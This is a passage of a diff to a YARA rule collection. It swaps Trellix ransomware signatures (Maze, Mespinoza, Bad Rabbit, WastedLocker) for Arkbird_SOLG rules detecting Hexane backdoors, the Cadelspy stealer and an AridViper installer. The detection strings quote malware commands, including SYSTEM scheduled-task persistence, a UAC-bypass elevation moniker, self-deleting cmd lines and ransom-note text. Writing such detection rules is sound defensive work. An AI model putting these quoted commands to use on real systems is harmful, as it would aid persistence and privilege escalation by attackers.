+		hash6 = "29cdd5206422831334afa75c113b615bb8e0121254dd9a2196703ce6b1704ff8"
 
 	strings:
-		$x1 = "process call create \"cmd /c start %s\"" fullword wide
-		$s1 = "%spagefile.sys" fullword wide
-		$s2 = "%sswapfile.sys" fullword wide
-		$s3 = "%shiberfil.sys" fullword wide
-		$s4 = "\\wbem\\wmic.exe" fullword wide
-		$s5 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" fullword ascii
-		$s6 = "NO MUTEX | " fullword wide
-		$s7 = "--nomutex" fullword wide
-		$s8 = ".Logging enabled | Maze" fullword wide
-		$s9 = "DECRYPT-FILES.txt" fullword wide
-		$op0 = { 85 db 0f 85 07 ff ff ff 31 c0 44 44 44 44 5e 5f }
-		$op1 = { 66 90 89 df 39 ef 89 fb 0f 85 64 ff ff ff eb 5a }
-		$op2 = { 56 e8 34 ca ff ff 83 c4 08 55 e8 0b ca ff ff 83 }
+		$s1 = "!!! LOCALPUBKEY !!!" fullword ascii
+		$s2 = "!!! ENCLOCALPRIVKEY !!!" fullword ascii
+		$s3 = "!!! D !!!" fullword ascii
+		$s4 = { 8b 85 74 fd ff ff 8b 40 04 85 c0 74 05 83 e8 04 8b 00 8d 55 f4 92 e8 c1 aa fe ff 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8d 45 f4 e8 d3 a8 fe ff 8b d0 8b cf 8b 85 50 fd ff ff 8b 38 ff 57 0c 6a 00 6a 00 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 45 f4 8b 95 74 fd ff ff 8b 52 04 e8 da a7 fe ff 0f 84 7d 07 00 00 ff b5 4c fd ff ff ff b5 48 fd ff ff 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8b 85 74 fd ff ff 83 c0 04 e8 63 a8 fe ff 8b d0 8b cf 8b 85 50 fd ff ff 8b 38 ff 57 10 6a 00 6a 00 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8b 85 50 fd ff ff 8b 10 ff 12 52 50 8b c7 99 03 85 48 fd ff ff 13 95 4c fd ff ff 3b 54 24 04 75 03 3b 04 24 5a 58 0f 85 dc 06 00 00 ff b5 4c fd ff ff ff b5 48 fd ff ff 8b 85 50 fd ff ff e8 e6 cc fe ff 8b 85 74 fd ff ff 8b 40 28 85 c0 74 09 83 f8 0a 0f 85 00 01 00 00 8b 85 74 fd ff ff 83 c0 1c e8 fe a2 fe ff 8b 85 74 fd ff ff 83 c0 20 e8 f0 a2 fe ff c7 85 44 fd ff ff 01 00 00 00 b8 00 01 00 00 e8 78 44 ff ff 8b d0 8d 85 10 fd ff ff e8 b7 a4 fe ff 8b 95 10 fd ff ff 8b 85 74 fd ff ff 83 c0 20 e8 63 a5 fe ff 83 bd 44 fd ff ff 10 7f 2b b8 00 01 00 00 e8 44 44 ff ff 8b d0 8d 85 0c fd ff ff e8 83 a4 fe ff 8b 95 0c fd ff ff 8b 85 74 fd ff ff 83 c0 1c e8 2f a5 fe ff ff 85 44 fd ff ff 83 bd 44 fd ff ff 21 75 92 8b 85 74 fd ff ff 83 c0 24 50 8b 85 74 fd ff ff 8b 48 1c 8b 85 74 fd ff ff 8b 50 20 8d 85 08 fd ff ff e8 45 a5 fe ff 8b 85 08 fd ff ff 8b 95 74 fd ff ff 8d 4a 0c 8b 95 74 fd ff ff 83 c2 14 e8 c8 8f ff ff 8d 95 04 fd ff ff 8b 85 74 fd ff ff 8b 40 24 e8 0c 5c ff ff 8b 95 04 fd ff ff 8b 85 74 fd ff ff 83 c0 24 e8 60 a2 fe ff 8b 85 74 fd ff ff 83 78 28 0a 75 0d 8b 85 74 fd ff ff 33 d2 89 50 28 eb 09 8b 85 74 fd ff ff ff 40 28 8b c3 99 52 50 8b 85 48 fd ff ff 8b 95 4c fd ff ff e8 54 b2 fe ff 89 85 38 fd ff ff 89 95 3c fd ff ff 8b c3 99 52 50 8b 85 38 fd ff ff 8b 95 3c fd ff ff e8 0e b2 fe ff 52 50 8b c6 99 3b 54 24 04 75 09 3b 04 24 5a 58 73 18 eb 04 5a 58 7d 12 8b c6 99 f7 fb 99 89 85 38 fd ff ff 89 95 3c fd ff ff 83 bd 3c fd ff ff 00 75 07 83 bd 38 fd ff ff 00 74 31 ff b5 3c fd ff ff ff b5 38 fd ff ff 8b 85 48 fd ff ff 8b 95 4c fd ff ff e8 d9 b1 fe ff 89 85 30 fd ff ff 89 95 34 fd ff ff 89 9d 2c fd ff ff eb 38 c7 85 38 fd ff ff 01 00 00 00 c7 85 3c fd ff ff 00 00 00 00 8b 85 48 fd ff ff 89 85 30 fd ff ff 8b 85 4c fd ff ff 89 85 34 fd ff ff 8b 85 48 fd ff ff 89 85 2c fd ff ff 8d 45 f0 e8 05 a1 fe ff b2 01 a1 98 6f 40 00 e8 61 94 fe ff 89 85 1c fd ff ff 8b 9d 38 fd ff ff 85 db 0f 8e 9f 00 00 00 c7 85 44 fd ff ff 01 00 00 00 ff b5 34 fd ff ff ff b5 30 fd ff ff 8b 85 44 fd ff ff 48 99 e8 1e b1 fe ff 89 85 20 fd ff ff 89 95 24 fd ff ff 8d 95 20 fd ff ff b9 08 00 00 00 8b 85 1c fd ff ff 8b 30 ff 56 10 ff b5 24 fd ff ff ff b5 20 fd ff ff 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8d 45 f4 8b 95 2c fd ff ff e8 19 a7 fe ff 8d 45 f4 e8 3d a5 fe ff 8b d0 8b 8d 2c fd ff ff 8b 85 50 fd ff ff e8 e6 ca fe ff 8d 45 f0 8b 55 f4 e8 fb a2 fe ff ff 85 44 fd ff ff 4b 0f 85 6b ff ff ff 6a 00 6a 00 33 d2 8b 85 1c fd ff ff 8b 08 ff 51 18 8d 45 ec e8 2d a0 fe ff 8b 85 1c fd ff ff 8b 10 ff 12 89 85 18 fd ff ff 8d 45 ec 8b 95 18 fd ff ff e8 af a6 fe ff 8d 45 ec e8 d3 a4 fe ff 8b d0 8b 8d 18 fd ff ff 8b 85 1c fd ff ff 8b 18 ff 53 }
+		$s5 = ": :(:,:0:4:8:<:@:D:H:\\:|:" fullword ascii
+		$s6 = " remove '.' from {.$DEFINE ComplexBraces}" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and (1 of ($x*) and 4 of them ) and all of ($op*)) or ( all of them )
+		uint16(0)==0x5a4d and filesize >100KB and 4 of them
 }
-import "pe"
-
-rule TRELLIX_ARC_Ransom_Mespinoza : FILE
+rule ARKBIRD_SOLG_MAL_Milan_Aug_2021_1 : FILE
 {
 	meta:
-		description = "rule to detect Mespinoza ransomware"
-		author = "Christiaan Beek @ McAfee ATR"
-		id = "70a76bc4-e0cb-5caa-bb64-1a732349d2ce"
-		date = "2020-11-24"
-		modified = "2020-11-24"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/Ransom_Mespinoza.yar#L3-L27"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "e245fb9a71d86209690a6f4c7aa38c10dbd32cda2ea3ecde08d0d94e896381cb"
+		description = "Detect Milian backdoor used by Hexane group (aka Siamesekitten)"
+		author = "Arkbird_SOLG"
+		id = "34acac5a-6090-5a68-9afb-4da7073bed58"
+		date = "2021-08-18"
+		modified = "2021-08-19"
+		reference = "https://www.clearskysec.com/siamesekitten/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-19/Hexane/MAL_Milan_Aug_2021_1.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "bad8ae2a9275bcb6e0e903fda6a128a1bed676c8e1a8e653e9fc3467766ce7fc"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = "FILE"
-		malware_family = "ransom_Win_Mespinoza"
-		hash1 = "e9662b468135f758a9487a1be50159ef57f3050b753de2915763b4ed78839ead"
-		hash2 = "48355bd2a57d92e017bdada911a4b31aa7225c0b12231c9cbda6717616abaea3"
-		hash3 = "e4287e9708a73ce6a9b7a3e7c72462b01f7cc3c595d972cf2984185ac1a3a4a8"
+		hash1 = "b46949feeda8726c0fb86d3cd32d3f3f53f6d2e6e3fcd6f893a76b8b2632b249"
+		hash2 = "4f1b8c9209fa2684aa3777353222ad1c7716910dbb615d96ffc7882eb81dd248"
+		tlp = "White"
+		adversary = "Hexane"
 
 	strings:
-		$s1 = "update.bat" fullword ascii
-		$s2 = "protonmail.com" fullword ascii
-		$s3 = "Every byte on any types of your devices was encrypted." fullword ascii
-		$s4 = "To get all your data back contact us:" fullword ascii
-		$s5 = "What to do to get all data back?" fullword ascii
-		$s6 = "Don't try to use backups because it were encrypted too." fullword ascii
-		$op0 = { 83 f8 4b 75 9e 0f be 46 ff 8d 4d e0 ff 34 85 50 }
-		$op1 = { c6 05 34 9b 47 00 00 e8 1f 0c 03 00 59 c3 cc cc }
-		$op2 = { e8 ef c5 fe ff b8 ff ff ff 7f eb 76 8b 4d 0c 85 }
+		$c1 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 [2-8] 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 64 00 65 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 00 20 00 26 00 20 00 77 00 61 00 69 00 74 00 66 00 6f 00 72 00 20 00 61 00 20 00 34 00 20 00 26 00 20 00 63 00 6f 00 70 00 79 00 20 00 22 00 25 00 73 00 22 00 20 00 22 00 25 00 73 00 22 00 20 00 20 00 26 00 20 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 52 00 75 00 6e 00 20 00 2f 00 54 00 4e 00 20 00 22 }
+		$c2 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 [2-8] 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 72 00 6d 00 64 00 69 00 72 00 20 00 2f 00 73 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 00 20 00 26 00 20 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 74 00 6e }
+		$s1 = { 2d 2d 2d 2d 2d 2d [1-8] 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f }
+		$s2 = { 5b 00 25 00 64 00 3a 00 25 00 64 00 3a 00 25 00 64 00 3a 00 25 00 64 00 28 00 25 00 64 00 29 00 5d }
+		$s3 = { 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 6d 00 75 00 6c 00 74 00 69 00 70 00 61 00 72 00 74 00 2f 00 66 00 6f 00 72 00 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 62 00 6f 00 75 00 6e 00 64 00 61 00 72 00 79 00 3d 00 2d 00 2d 00 2d 00 2d}
+		$s4 = { 8d 8d 7c ee ff ff 51 6a 00 6a 00 50 ff 15 ?? b2 4b 00 85 c0 0f 84 a9 0f 00 00 8d 85 e0 fb ff ff 50 e8 ?? e0 ff ff 59 50 8d 85 e0 fb ff ff 50 8d 4b 20 e8 [2] 00 00 6a 00 ff b5 94 ee ff ff 8d 85 e0 fb ff ff 50 ff 33 ff 15 ?? b2 4b 00 8b d0 89 95 e8 ee ff ff 85 d2 0f 84 65 0f 00 00 6a 02 5e 33 c9 b8 00 00 80 00 39 b5 88 ee ff ff 0f 44 c8 83 bd 94 ef ff ff 08 51 8d 85 80 ef ff ff 0f 43 85 80 ef ff ff 33 c9 51 51 51 ff b5 a8 ee ff ff 50 52 ff 15 ?? b2 4b 00 8b f0 89 b5 48 ef ff ff 85 f6 0f 84 fb 0e 00 00 80 7b 04 00 8b 3d ?? b2 4b 00 75 23 6a 02 58 39 85 88 ee ff ff 75 18 6a 04 8d 85 20 ef ff ff c7 85 20 ef ff ff 00 31 00 00 50 6a 1f 56 ff d7 c6 85 47 ef ff ff 00 33 c9 c7 85 f0 ee ff ff 18 00 00 00 8b c1 41 89 8d 20 ef ff ff 83 f8 03 0f 83 88 0e 00 00 83 bb d8 00 00 00 00 76 31 8d 83 c8 00 00 00 83 78 14 08 72 02 8b 00 68 00 00 00 01 ff b3 d8 00 00 00 50 56 ff 15 b8 b2 4b 00 85 c0 75 0c ff 15 40 b0 4b 00 89 83 f8 00 00 00 8d b3 a8 00 00 00 83 7e 10 00 76 7a 68 ?? b9 4c 00 8d 8d 98 ef ff ff e8 [2] 00 00 6a ff 33 c0 8d 8d 98 ef ff ff 6a 00 40 56 88 45 fc e8 [2] 00 00 83 bd ac ef ff ff 08 8d 85 98 ef ff ff 8b b5 48 ef ff ff 0f 43 85 98 ef ff ff 68 00 00 00 01 ff b5 a8 ef ff ff 50 56 ff 15 b8 b2 4b 00 85 c0 75 0c ff 15 40 b0 4b 00 89 83 f8 }
+		$s5 = { 6a 00 ff b5 40 ef ff ff ff b3 88 01 00 00 ff 15 30 b0 4b 00 50 57 6a ff 56 8b b5 48 ef ff ff 56 ff 15 ?? b2 4b 00 85 c0 0f 85 b2 02 00 00 8d bd 00 ef ff ff ab ab ab ab 8d 85 00 ef ff ff 50 ff 15 ?? b2 4b 00 85 c0 0f 84 74 02 00 00 8b 95 04 ef ff ff 85 d2 0f 84 4f 01 00 00 33 c0 8d bd b8 ee ff ff 6a 06 59 f3 ab 83 a5 c8 ee ff ff 00 8d bd f4 ee ff ff 83 a5 c4 ee ff ff 00 40 89 85 bc ee ff ff 89 85 cc ee ff ff 33 c0 ab c7 85 b8 ee ff ff 03 00 00 00 89 95 c0 ee ff ff ab ab 8d 43 08 83 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and pe.imphash()=="b5e8bd2552848bb7bf2f28228d014742" and (8 of them ) and 2 of ($op*)) or ( all of them )
+		uint16(0)==0x5A4D and filesize >15KB and 1 of ($c*) and 4 of ($s*)
 }
-import "pe"
-
-rule TRELLIX_ARC_Badbunny : RANSOMWARE FILE
+rule ARKBIRD_SOLG_MAL_Shark_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Bad Rabbit Ransomware"
-		author = "Christiaan Beek"
-		id = "190ee396-4c26-54f7-baac-bb45e3587488"
-		date = "2017-10-24"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_BadRabbit.yar#L3-L47"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "2879b8dc1ca0e86253354ac24b56d950878b23215b503da9b1d5faabd2c4bf9d"
+		description = "Detect Shark backdoor used by Hexane group (aka Siamesekitten)"
+		author = "Arkbird_SOLG"
+		id = "881dcdd9-2f4d-51d3-b046-15cdb2a2cb55"
+		date = "2021-08-18"
+		modified = "2021-08-19"
+		reference = "https://www.clearskysec.com/siamesekitten/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-19/Hexane/MAL_Shark_Aug_2021_1.yara#L1-L24"
+		license_url = "N/A"
+		logic_hash = "c14abb839f4af81a3db38719f23c47498d577a779950e66978ff14d015043490"
 		score = 75
-		quality = 45
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/BadRabbit"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		hash1 = "8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93"
+		quality = 75
+		tags = "FILE"
+		hash1 = "89ab99f5721b691e5513f4192e7c96eb0981ddb6c2d2b94c1a32e2df896397b8"
+		hash2 = "f6ae4f4373510c4e096fab84383b547c8997ccf3673c00660df8a3dc9ed1f3ca"
+		hash3 = "44faf11719b3a679e7a6dd5db40033ec4dd6e1b0361c145b81586cb735a64112"
+		hash4 = "2f2ef9e3f6db2146bd277d3c4e94c002ecaf7deaabafe6195fddabc81a8ee76c"
+		tlp = "White"
+		adversary = "Hexane"
 
 	strings:
-		$x1 = "schtasks /Create /SC ONCE /TN viserion_%u /RU SYSTEM /TR \"%ws\" /ST %02d:%02d:00" fullword wide
-		$x2 = "need to do is submit the payment and get the decryption password." fullword ascii
-		$s3 = "If you have already got the password, please enter it below." fullword ascii
-		$s4 = "dispci.exe" fullword wide
-		$s5 = "\\\\.\\GLOBALROOT\\ArcName\\multi(0)disk(0)rdisk(0)partition(1)" fullword wide
-		$s6 = "Run DECRYPT app at your desktop after system boot" fullword ascii
-		$s7 = "Enter password#1: " fullword wide
-		$s8 = "Enter password#2: " fullword wide
-		$s9 = "C:\\Windows\\cscc.dat" fullword wide
-		$s10 = "schtasks /Delete /F /TN %ws" fullword wide
-		$s11 = "Password#1: " fullword ascii
-		$s12 = "\\AppData" fullword wide
-		$s13 = "Disk decryption completed" fullword wide
-		$s14 = "Files decryption completed" fullword wide
-		$s15 = "http://diskcryptor.net/" fullword wide
-		$s16 = "Your personal installation key#1:" fullword ascii
-		$s17 = ".3ds.7z.accdb.ai.asm.asp.aspx.avhd.back.bak.bmp.brw.c.cab.cc.cer.cfg.conf.cpp.crt.cs.ctl.cxx.dbf.der.dib.disk.djvu.doc.docx.dwg." wide
-		$s18 = "Disable your anti-virus and anti-malware programs" fullword wide
-		$s19 = "bootable partition not mounted" fullword ascii
+		$s1 = { 7b 00 22 00 44 00 61 00 74 00 61 00 22 00 3a 00 5b 00 22 00 00 07 22 00 [0-8] 5d 00 7d }
+		$s2 = "application/json" fullword wide
+		$s3 = { 40 00 45 00 43 00 48 00 4f 00 20 00 4f 00 46 00 46 00 0a 00 00 1d 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 49 00 4d 00 20 00 22 00 00 17 22 00 20 00 2f 00 46 00 20 00 3e 00 20 00 6e 00 75 00 6c 00 0a 00 00 2b 70 00 69 00 6e 00 67 00 20 00 [12-28] 00 20 00 6e 00 75 00 6c }
+		$s4 = { 2a 00 65 00 78 00 65 00 00 0b 2a 00 70 00 72 00 6f 00 63 00 00 07 2a 00 6b 00 6c 00 00 07 64 00 69 00 72 00 00 11 66 00 69 00 6c 00 65 00 3a 00 2f 00 2f 00 2f }
+		$s5 = { 16 0a 2b 13 02 06 02 06 91 1f 2a 28 ?? 00 00 0a 61 d2 9c 06 17 58 0a 06 02 8e 69 }
+		$s6 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography" fullword wide
+		$s7 = { 65 00 63 00 68 00 6f 00 20 00 [2-10] 20 00 7c 00 20 00 64 00 65 00 6c 00 20 00 [2-10] 2e 00 62 00 61 00 74 00 00 0f [2-10] 00 2e 00 62 00 61 00 74 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and pe.imphash()=="94f57453c539227031b918edd52fc7f1" and (1 of ($x*) or 4 of them )) or ( all of them )
+		uint16(0)==0x5A4D and filesize >15KB and 6 of ($s*)
 }
-import "pe"
-
-rule TRELLIX_ARC_Badrabbit_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_MAL_Cadelspy_Stealer_May_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Bad Rabbit Ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "d6e78c14-0913-5eed-be15-a6d1a8cd1a8d"
-		date = "2024-08-01"
-		modified = "2020-08-14"
-		reference = "https://securelist.com/bad-rabbit-ransomware/82851/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_BadRabbit.yar#L49-L101"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "7536f021ce7fede0f1a2bf2f4ebc7d6e7269a6dd63005cab1fc6a309a71c61c0"
+		description = "Detect Cadelspy stealer"
+		author = "Arkbird_SOLG"
+		id = "bac23ed9-f51c-546e-8f4e-320d33b51829"
+		date = "2021-05-30"
+		modified = "2021-06-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-30/APT39/MAL_Cadelspy_Stealer_May_2021_1.yara#L1-L24"
+		license_url = "N/A"
+		logic_hash = "29fade3703c55bd16e67f9bf126cb0d8a06bc0eafe10e145f8d57d8c4abe5656"
 		score = 75
-		quality = 43
-		tags = "RANSOMWARE, FILE"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/BadRabbit"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "8847a73bbd9477be60685ce8ec8333db933892f4d7b729fcef01ac76600de9ff"
+		hash2 = "f3b0ad96c8529399bd7117bd67cdf0297191476d3a81a60b147960306ae5f068"
+		hash3 = "88c947d0d0fddd1ea87f5b85982cf231c9c56e4f5e25fac405f608a1c28d8391"
+		tlp = "White"
+		adversary = "APT39"
 
 	strings:
-		$s1 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR \"%ws /C Start \\\"\\\" \\\"%wsdispci.exe\\\" -id %u && exit\"" fullword wide
-		$s2 = "C:\\Windows\\System32\\rundll32.exe \"C:\\Windows\\" fullword wide
-		$s3 = "process call create \"C:\\Windows\\System32\\rundll32.exe" fullword wide
-		$s4 = "need to do is submit the payment and get the decryption password." fullword wide
-		$s5 = "schtasks /Create /SC once /TN drogon /RU SYSTEM /TR \"%ws\" /ST %02d:%02d:00" fullword wide
-		$s6 = "rundll32 %s,#2 %s" fullword ascii
-		$s7 = " \\\"C:\\Windows\\%s\\\" #1 " fullword wide
-		$s8 = "Readme.txt" fullword wide
-		$s9 = "wbem\\wmic.exe" fullword wide
-		$s10 = "SYSTEM\\CurrentControlSet\\services\\%ws" fullword wide
-		$og1 = { 39 74 24 34 74 0a 39 74 24 20 0f 84 9f }
-		$og2 = { 74 0c c7 46 18 98 dd 00 10 e9 34 f0 ff ff 8b 43 }
-		$og3 = { 8b 3d 34 d0 00 10 8d 44 24 28 50 6a 04 8d 44 24 }
-		$oh1 = { 39 5d fc 0f 84 03 01 00 00 89 45 c8 6a 34 8d 45 }
-		$oh2 = { e8 14 13 00 00 b8 ff ff ff 7f eb 5b 8b 4d 0c 85 }
-		$oh3 = { e8 7b ec ff ff 59 59 8b 75 08 8d 34 f5 48 b9 40 }
-		$oj4 = { e8 30 14 00 00 b8 ff ff ff 7f 48 83 c4 28 c3 48 }
-		$oj5 = { ff d0 48 89 45 e0 48 85 c0 0f 84 68 ff ff ff 4c }
-		$oj6 = { 85 db 75 09 48 8b 0e ff 15 34 8f 00 00 48 8b 6c }
-		$ok1 = { 74 0c c7 46 18 c8 4a 40 00 e9 34 f0 ff ff 8b 43 }
-		$ok2 = { 68 f8 6c 40 00 8d 95 e4 f9 ff ff 52 ff 15 34 40 }
-		$ok3 = { e9 ef 05 00 00 6a 10 58 3b f8 73 30 8b 45 f8 85 }
+		$str1 = "C:\\Windows\\SysEvent.exe" fullword wide
+		$str2 = "\\sysprep\\sysprep.exe" fullword wide
+		$str3 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
+		$str4 = "@C:\\Windows\\systemw.dll" fullword wide
+		$str5 = "systemw.dll" fullword ascii
+		$str6 = "ApAshell32.dll" fullword wide
+		$seq1 = { 55 8b ec 83 ec 14 a1 04 00 41 00 33 c5 89 45 fc 8d 45 f8 c7 45 f0 00 00 00 00 50 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 68 20 02 00 00 6a 20 6a 02 8d 45 f0 66 c7 45 f4 00 05 50 ff 15 08 30 40 00 85 c0 74 25 8d 45 ec 50 ff 75 f8 6a 00 ff 15 04 30 40 00 ff 75 f8 f7 d8 1b c0 21 45 ec ff 15 00 30 40 00 83 7d ec 00 75 05 e8 52 fd ff ff 56 68 2d 02 00 00 ff 15 30 30 40 00 68 1c 33 40 00 ff 15 20 30 40 00 6a 00 6a 00 6a 01 6a 00 6a 00 6a 02 68 1c 33 40 00 89 45 f8 ff 15 1c 30 40 00 6a 00 8b f0 8d 45 f8 50 68 00 ba 00 00 68 68 33 40 00 56 ff 15 6c 30 40 00 56 ff 15 74 30 40 00 6a 01 6a 00 6a 00 68 1c 33 40 00 68 4c 33 40 00 6a 00 ff 15 b0 30 40 00 8b 4d fc 33 c0 33 cd 5e e8 06 00 00 00 }
+		$seq2 = { 8b 0d 10 32 40 00 0f 10 05 24 32 40 00 89 08 8b 0d 14 32 40 00 89 48 04 8b 0d 18 32 40 00 89 48 08 8b 0d 1c 32 40 00 89 48 0c 66 8b 0d 20 32 40 00 66 89 48 10 33 c9 a1 3c 32 40 00 0f 11 84 24 34 04 00 00 89 84 24 4c 04 00 00 f3 0f 7e 05 34 32 40 00 66 0f d6 84 24 44 04 00 00 0f 1f 40 00 0f b7 84 0c c8 0f 00 00 8d 49 02 66 89 84 0c 42 08 00 00 66 85 c0 75 e8 8d bc 24 44 08 00 00 83 c7 fe 66 8b 47 02 83 c7 02 66 85 c0 75 f4 b9 0a 00 00 00 be 40 32 40 00 f3 a5 b9 21 00 00 00 0f 10 05 58 33 40 00 66 a5 8d bc 24 54 0c 00 00 be 70 32 40 00 f3 a5 66 a5 0f 11 84 24 5c 0e 00 00 0f 10 05 78 ed 40 00 0f 11 84 24 6c 0e 00 00 0f 10 05 68 ed 40 00 0f 11 84 24 7c 0e 00 00 38 45 08 75 1f 8d 44 24 10 50 e8 23 fa ff ff 5f 5e 5b 8b 8c 24 c8 11 00 00 33 cc e8 1c 04 00 00 8b }
+		$seq3 = { 8b 84 b5 e4 d9 ff ff 85 c0 74 66 50 6a 00 68 ff ff 1f 00 ff 15 28 30 40 00 8b f8 85 ff 74 52 8d 85 dc d9 ff ff 50 6a 04 8d 85 d0 d9 ff ff 50 57 ff 15 64 30 40 00 85 c0 74 32 68 04 01 00 00 8d 85 ec fb ff ff 50 ff b5 d0 d9 ff ff 57 ff 15 34 30 40 00 8d 85 ec fb ff ff 68 f8 32 40 00 50 ff 15 38 31 40 00 83 c4 08 85 c0 74 21 57 ff d3 33 ff 8b 85 e0 d9 ff ff 46 c1 e8 02 8b cf 3b f0 0f 82 7b ff ff ff 85 c9 0f 84 43 01 00 00 68 04 01 00 00 8d 85 e4 f9 ff ff 50 6a 00 ff 15 3c 30 40 00 85 c0 0f 84 24 01 00 00 8d 85 f4 fd ff ff 50 68 04 01 00 00 ff 15 14 30 40 00 8d 85 f4 fd ff ff 50 6a 00 68 14 33 40 00 50 ff 15 60 30 40 00 6a 00 8d 85 f4 fd ff ff 50 8d 85 e4 f9 ff ff 50 ff 15 58 30 40 00 85 c0 0f 84 df 00 00 00 6a 00 6a 00 6a 03 6a 00 6a 00 68 00 00 00 c0 8d 85 f4 fd ff ff 50 ff 15 1c 30 40 00 8b f0 83 fe ff 0f 84 b8 00 00 00 6a 00 8d 85 d8 d9 ff ff 50 68 00 10 00 00 8d 85 e4 e9 ff ff 50 56 ff 15 78 30 40 00 85 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and ( all of ($s*) and all of ($og*)) or all of ($oh*) or all of ($oj*) or all of ($ok*)
+		uint16(0)==0x5a4d and filesize >30KB and 5 of ($str*) and 2 of ($seq*)
 }
-rule TRELLIX_ARC_RANSOM_Wastedlocker : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_Aridviper_Installer_Feb_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect unpacked samples of WastedLocker"
-		author = "McAfee ATR Team"
-		id = "900923cf-75c0-5342-858d-fe1ffa9486bd"
-		date = "2020-07-27"
-		modified = "2020-10-12"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_wastedlocker.yar#L1-L32"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "c5adf88a46c34c8683d0e3d70529b352c77209f004e6c638ff079ea025921781"
-		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
